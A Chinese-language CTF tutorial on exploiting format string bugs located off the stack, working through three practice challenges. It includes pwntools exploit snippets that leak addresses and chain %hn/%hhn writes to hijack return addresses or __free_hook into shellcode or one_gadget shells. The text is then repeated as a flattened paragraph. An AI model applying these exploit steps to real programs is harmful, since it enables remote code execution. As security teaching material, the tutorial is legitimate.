非栈上格式化字符串漏洞利用
字数 1436 2025-08-05 11:39:45

非栈上格式化字符串漏洞利用技术详解

基础知识

格式化字符串用于地址写的关键字符

  • %hhn: 写入一字节
  • %hn: 写入两字节
  • %n: 32位写四字节,64位写八字节
  • %<number>$type: 直接作用第number个位置的参数
    • %7$x: 读第7个位置参数值
    • %7$n: 对第7个参数位置进行写

栈上格式化字符串漏洞利用常规步骤

  1. 泄露地址(ELF程序地址和libc地址)
  2. 将需要改写的GOT表地址直接传到栈上
  3. 利用%c%n方法改写system或one_gadget地址
  4. 劫持程序流程

非栈上格式化字符串的特殊性

对于BSS段或堆上的格式化字符串漏洞:

  • 无法直接将想要改写的地址指针放置在栈上
  • 难以实现任意地址写
  • 利用过程很不稳定,一般最多写2个字节

利用技术详解

技术一:利用ebp链劫持返回地址

适用场景:32位程序,返回地址在栈中可定位

案例:hitcontraining_playfmt

关键步骤

  1. 泄露栈地址

    • 通过%6$p泄露栈上第6个位置的值(通常是ebp)
    • 计算返回地址在栈中的偏移
  2. 修改返回地址

    • 使用%Yc%X$n格式:将Y写入栈上第X个位置指针指向的位置
    • 通过修改ebp链间接修改返回地址
  3. 写入shellcode

    • 将shellcode写入可执行区域(如.bss段)
    • 将返回地址覆盖为shellcode地址

示例代码

# 泄露栈地址
ru('==\n')
sl('%6$p')
ru('0x')
stack_addr = int(r(8), 16) - 0x28 + 0x1c

# 修改ebp链
pl = b'%' + str(stack_addr & 0xff).encode() + b'c%6$hhn'
pl = pl.ljust(200, b'\x00')
s(pl)
p.recv()

# 修改返回地址
pl = b'%' + str(0xa064).encode() + b'c%10$hn'
pl = pl.ljust(200, b'\x00')
s(pl)
p.recv()

# 写入shellcode
shellcode = asm(shellcraft.sh())
pl = b'quit' + shellcode
s(pl)

技术二:利用跳板修改__libc_start_main+240

适用场景:64位程序,有多次格式化字符串机会

案例:easy_printf

关键步骤

  1. 泄露libc地址

    • 通过%18$p泄露libc地址
    • 计算libc基址、one_gadget和free_hook地址
  2. 修改跳板

    • 利用栈上第8和第10个位置作为跳板
    • 分步修改__libc_start_main+240为free_hook地址
  3. 修改free_hook

    • 分步将free_hook修改为one_gadget
    • 每次修改2字节,确保稳定性

示例代码

# 泄露libc地址
sla('What do you want to say?\n', '%18$p')
ru('0x')
libcbase = int(r(12), 16) - 0x5f1168
og = libcbase + 0x4527a
free_hook = libc.sym["__free_hook"] + libcbase

# 修改__libc_start_main+240为free_hook
sla('What do you want to say?\n', '%' + str(num) + 'c%8$hhn')
sla('What do you want to say?\n', '%' + str(free_hook & 0xffff) + 'c%10$hn')
sla('What do you want to say?\n', '%' + str(num + 2) + 'c%8$hhn')
sla('What do you want to say?\n', '%' + str((free_hook // 0x10000) & 0xff) + 'c%10$hhn')

# 修改free_hook为one_gadget
sla('What do you want to say?\n', '%' + str(og & 0xffff) + 'c%29$hn')
sla('What do you want to say?\n', '%' + str(num) + 'c%8$hhn')
sla('What do you want to say?\n', '%' + str(0xaa) + 'c%10$hhn')
sla('What do you want to say?\n', '%' + str((og // 0x10000) & 0xffff) + 'c%29$hn')

技术三:修改循环次数扩大利用窗口

适用场景:格式化字符串机会有限的场景

案例:fooooood

关键步骤

  1. 泄露地址

    • 泄露libc地址和栈地址
    • 定位循环计数器i的地址
  2. 修改循环次数

    • 通过格式化字符串漏洞修改i的值
    • 将3次循环扩展为更多次
  3. 劫持返回地址

    • 利用扩展的循环次数
    • 分步修改__libc_start_main+240为one_gadget

示例代码

# 泄露地址
ru('favourite food: ')
sl(b'%9$p-%11$p')
ru("0x")
libc_base = int(r(12), 16) - libc.sym['__libc_start_main'] - 240
ru("0x")
stack = int(r(12), 16)
stack1 = stack - 224
i_addr = stack - (0x7ffe373b3e18 - 0x7ffe373b3d10) + 0x8 + 0xc

# 修改循环次数
sla('favourite food: ', '%' + str(i_addr & 0xffff) + 'c%11$hn')
sla('favourite food: ', '%' + str(6) + 'c%37$hhn')

# 修改返回地址
sla('favourite food: ', '%' + str(stack1 & 0xffff) + 'c%11$hn')
sla('favourite food: ', '%' + str(og & 0xffff) + 'c%37$hn')
sla('favourite food: ', '%' + str((stack1 + 2) & 0xffff) + 'c%11$hn')
sla('favourite food: ', '%' + str((og >> 16) & 0xff) + 'c%37$hhn')

关键技巧总结

  1. 地址泄露

    • 使用%x$p格式泄露栈或libc地址
    • 计算基址和关键函数地址
  2. 分步写入

    • 对于64位地址,分多次写入(每次2字节)
    • 使用%hn%hhn进行精确写入
  3. 跳板利用

    • 找到栈上可控制的指针作为跳板
    • 通过修改跳板指针间接修改目标地址
  4. 远程利用

    • 对于不稳定的偏移,可能需要爆破
    • 通常有1/16的成功概率(针对最后4位中的1位)
  5. 调试技巧

    • 使用gdb附加调试观察栈布局
    • 验证每次写入后的内存变化

防护措施

  1. 使用格式化字符串时始终指定格式字符串
  2. 启用FORTIFY_SOURCE保护
  3. 启用RELRO保护(Full RELRO)
  4. 启用栈保护(Stack Canary)
  5. 启用地址随机化(ASLR)

通过掌握这些技术,安全研究人员可以更好地理解和利用非栈上的格式化字符串漏洞,同时也能够更好地防御此类漏洞。

非栈上格式化字符串漏洞利用技术详解 基础知识 格式化字符串用于地址写的关键字符 %hhn : 写入一字节 %hn : 写入两字节 %n : 32位写四字节,64位写八字节 %<number>$type : 直接作用第number个位置的参数 %7$x : 读第7个位置参数值 %7$n : 对第7个参数位置进行写 栈上格式化字符串漏洞利用常规步骤 泄露地址(ELF程序地址和libc地址) 将需要改写的GOT表地址直接传到栈上 利用 %c%n 方法改写system或one_ gadget地址 劫持程序流程 非栈上格式化字符串的特殊性 对于BSS段或堆上的格式化字符串漏洞: 无法直接将想要改写的地址指针放置在栈上 难以实现任意地址写 利用过程很不稳定,一般最多写2个字节 利用技术详解 技术一:利用ebp链劫持返回地址 适用场景 :32位程序,返回地址在栈中可定位 案例 :hitcontraining_ playfmt 关键步骤 : 泄露栈地址 : 通过 %6$p 泄露栈上第6个位置的值(通常是ebp) 计算返回地址在栈中的偏移 修改返回地址 : 使用 %Yc%X$n 格式:将Y写入栈上第X个位置指针指向的位置 通过修改ebp链间接修改返回地址 写入shellcode : 将shellcode写入可执行区域(如.bss段) 将返回地址覆盖为shellcode地址 示例代码 : 技术二:利用跳板修改__ libc_ start_ main+240 适用场景 :64位程序,有多次格式化字符串机会 案例 :easy_ printf 关键步骤 : 泄露libc地址 : 通过 %18$p 泄露libc地址 计算libc基址、one_ gadget和free_ hook地址 修改跳板 : 利用栈上第8和第10个位置作为跳板 分步修改__ libc_ start_ main+240为free_ hook地址 修改free_ hook : 分步将free_ hook修改为one_ gadget 每次修改2字节,确保稳定性 示例代码 : 技术三:修改循环次数扩大利用窗口 适用场景 :格式化字符串机会有限的场景 案例 :fooooood 关键步骤 : 泄露地址 : 泄露libc地址和栈地址 定位循环计数器i的地址 修改循环次数 : 通过格式化字符串漏洞修改i的值 将3次循环扩展为更多次 劫持返回地址 : 利用扩展的循环次数 分步修改__ libc_ start_ main+240为one_ gadget 示例代码 : 关键技巧总结 地址泄露 : 使用 %x$p 格式泄露栈或libc地址 计算基址和关键函数地址 分步写入 : 对于64位地址,分多次写入(每次2字节) 使用 %hn 或 %hhn 进行精确写入 跳板利用 : 找到栈上可控制的指针作为跳板 通过修改跳板指针间接修改目标地址 远程利用 : 对于不稳定的偏移,可能需要爆破 通常有1/16的成功概率(针对最后4位中的1位) 调试技巧 : 使用gdb附加调试观察栈布局 验证每次写入后的内存变化 防护措施 使用格式化字符串时始终指定格式字符串 启用FORTIFY_ SOURCE保护 启用RELRO保护(Full RELRO) 启用栈保护(Stack Canary) 启用地址随机化(ASLR) 通过掌握这些技术,安全研究人员可以更好地理解和利用非栈上的格式化字符串漏洞,同时也能够更好地防御此类漏洞。